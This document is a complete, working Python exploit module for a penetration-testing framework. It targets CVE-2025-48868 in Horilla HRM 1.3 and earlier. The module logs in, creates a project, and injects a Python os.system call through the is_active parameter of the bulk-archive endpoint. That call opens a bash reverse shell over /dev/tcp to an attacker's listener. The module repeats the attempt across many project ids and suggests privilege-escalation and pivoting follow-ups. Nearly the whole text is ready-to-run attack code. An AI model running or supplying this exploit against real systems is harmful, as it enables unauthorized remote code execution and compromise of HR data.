Horilla HRM <= 1.3 Authenticated RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import random
import string
import time
from datetime import datetime
from urllib.parse import urlencode

from bs4 import BeautifulSoup

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Horilla HRM <= 1.3 Authenticated RCE",
        "description": "CVE-2025-48868: authenticated remote code execution via the project bulk "
                       "archive endpoint (injection in is_active). Logs in, creates a project, "
                       "then POSTs to project-bulk-archive with a Python os.system reverse shell. "
                       "Ensure a listener is available (framework handler or e.g. nc -lvnp).",
        "author": ["Raghad Abdallah Al-syouf", "KittySploit Team"],
        "cve": ["CVE-2025-48868"],
        "platform": Platform.LINUX,
        "arch": [Arch.X86, Arch.X64],
        "references": [
            ["URL", "https://www.cve.org/CVERecord?id=CVE-2025-48868"],
        ],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.SINGLE,
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    port = OptPort(8000, "Target port (Horilla is often HTTP on 8000)", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True)
    path = OptString("/", "URL path prefix if Horilla is not at site root", required=False)

    username = OptString("", "Horilla login username", required=True)
    password = OptString("", "Horilla login password", required=True)

    id_start = OptInteger(1, "First project id to target in bulk-archive loop", required=False, advanced=True)
    max_attempts = OptInteger(
        100,
        "Number of sequential project ids to try (bulk-archive ids)",
        required=False,
        advanced=True,
    )
    loop_delay = OptInteger(3, "Seconds between bulk-archive attempts", required=False, advanced=True)

    @staticmethod
    def _csrf_from_html(html: str):
        soup = BeautifulSoup(html, "html.parser")
        inp = soup.find("input", {"name": "csrfmiddlewaretoken"})
        if not inp or not inp.get("value"):
            return None
        return inp["value"]

    def check(self):
        try:
            p = self.path.rstrip("/")
            r = self.http_request(method="GET", path=f"{p}/login/", timeout=15, allow_redirects=True)
            if not r or r.status_code != 200:
                return {
                    "vulnerable": False,
                    "reason": "Login page not reachable or not HTTP 200",
                    "confidence": "low",
                }
            token = self._csrf_from_html(r.text or "")
            if not token:
                return {
                    "vulnerable": False,
                    "reason": "No Django CSRF token on /login/",
                    "confidence": "medium",
                }
            low = (r.text or "").lower()
            if "horilla" in low or "csrfmiddlewaretoken" in low:
                return {
                    "vulnerable": True,
                    "reason": "Django login with CSRF present (Horilla / Django HRM possible)",
                    "confidence": "low",
                }
            return {
                "vulnerable": True,
                "reason": "Django-style login page with CSRF",
                "confidence": "low",
            }
        except Exception as e:
            return {
                "vulnerable": False,
                "reason": f"Check failed: {e}",
                "confidence": "low",
            }

    def run(self):
        p = self.path.rstrip("/")
        login_path = f"{p}/login/"
        project_view_path = f"{p}/project/project-view/"
        create_project_path = f"{p}/project/create-project?"
        bulk_base = f"{p}/project/project-bulk-archive"

        proto = "https" if self.ssl else "http"
        origin = f"{proto}://{self.target}:{self.port}{p}"
        referer = f"{proto}://{self.target}:{self.port}{project_view_path}"

        hdr_ajax = {
            "User-Agent": "Mozilla/5.0",
            "X-Requested-With": "XMLHttpRequest",
        }

        print_status("Fetching login page...")
        login_page = self.http_request(
            method="GET",
            path=login_path,
            headers=hdr_ajax,
            timeout=20,
            allow_redirects=True,
        )
        if not login_page or login_page.status_code != 200:
            print_error("Failed to load login page")
            return False

        csrf = self._csrf_from_html(login_page.text or "")
        if not csrf:
            print_error("Could not parse csrfmiddlewaretoken from login page")
            return False

        print_status("Logging in...")
        login_data = {
            "username": self.username,
            "password": self.password,
            "csrfmiddlewaretoken": csrf,
        }
        login_resp = self.http_request(
            method="POST",
            path=login_path,
            data=login_data,
            headers=hdr_ajax,
            timeout=20,
            allow_redirects=True,
        )
        if not login_resp or login_resp.status_code != 200:
            print_error("Login request failed")
            return False
        if "logout" not in (login_resp.text or "").lower():
            print_error("Login failed (no session / logout marker)")
            return False
        print_success("Logged in")

        print_status("Loading project view (CSRF)...")
        project_view = self.http_request(
            method="GET",
            path=project_view_path,
            headers=hdr_ajax,
            timeout=20,
            allow_redirects=True,
        )
        if not project_view or project_view.status_code != 200:
            print_error("Failed to load project view")
            return False

        csrf = self._csrf_from_html(project_view.text or "")
        if not csrf:
            print_error("Could not parse CSRF from project view")
            return False

        today_str = datetime.now().strftime("%Y-%m-%d")
        title = "".join(random.choices(string.ascii_lowercase, k=4)) + "".join(
            random.choices(string.digits, k=2)
        )
        multipart_data = {
            "is_active": "on",
            "title": title,
            "managers": "1",
            "members": "1",
            "status": "new",
            "start_date": today_str,
            "end_date": today_str,
            "description": "Exploit project",
        }

        create_headers = {
            "User-Agent": "Mozilla/5.0",
            "Accept": "*/*",
            "Referer": referer,
            "HX-Request": "true",
            "HX-Trigger": "hlvd701Form",
            "HX-Target": "hlvd701Form",
            "HX-Current-URL": referer,
            "X-CSRFToken": csrf,
            "Origin": origin,
            "DNT": "1",
            "Connection": "keep-alive",
        }

        print_status(f"Creating project (title={title})...")
        create_resp = self.http_request(
            method="POST",
            path=create_project_path,
            data=multipart_data,
            headers=create_headers,
            timeout=30,
            allow_redirects=True,
        )
        if create_resp and create_resp.status_code == 200:
            print_success("Create-project request returned HTTP 200")
        else:
            print_warning(
                f"Create-project returned {getattr(create_resp, 'status_code', None)}; continuing"
            )

        lhost = str(self.lhost)
        lport = str(self.lport)
        py_payload = (
            f"__import__('os').system('bash+-c+\"bash+-i+>%26+/dev/tcp/{lhost}/{lport}+0>%261\"')"
        )

        hdr_exploit = dict(hdr_ajax)
        hdr_exploit["Referer"] = referer
        hdr_exploit["Origin"] = origin
        hdr_exploit["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"

        print_info(f"Callback {lhost}:{lport} — sending bulk-archive payloads (ids {self.id_start}…)")
        end = self.id_start + max(1, int(self.max_attempts))
        for i in range(self.id_start, end):
            exploit_path = f"{bulk_base}?is_active={py_payload}"
            body = urlencode({"csrfmiddlewaretoken": csrf, "ids": f'["{i}"]'})
            response = self.http_request(
                method="POST",
                path=exploit_path,
                headers=hdr_exploit,
                data=body,
                timeout=30,
                allow_redirects=True,
            )
            if response and response.status_code == 200:
                print_success(f"Payload sent for project id {i}")
            else:
                print_error(
                    f"Bulk-archive failed for id {i} (HTTP {getattr(response, 'status_code', None)})"
                )
            time.sleep(self.loop_delay)

        print_info("Loop finished — check your listener if a shell connected.")
        return True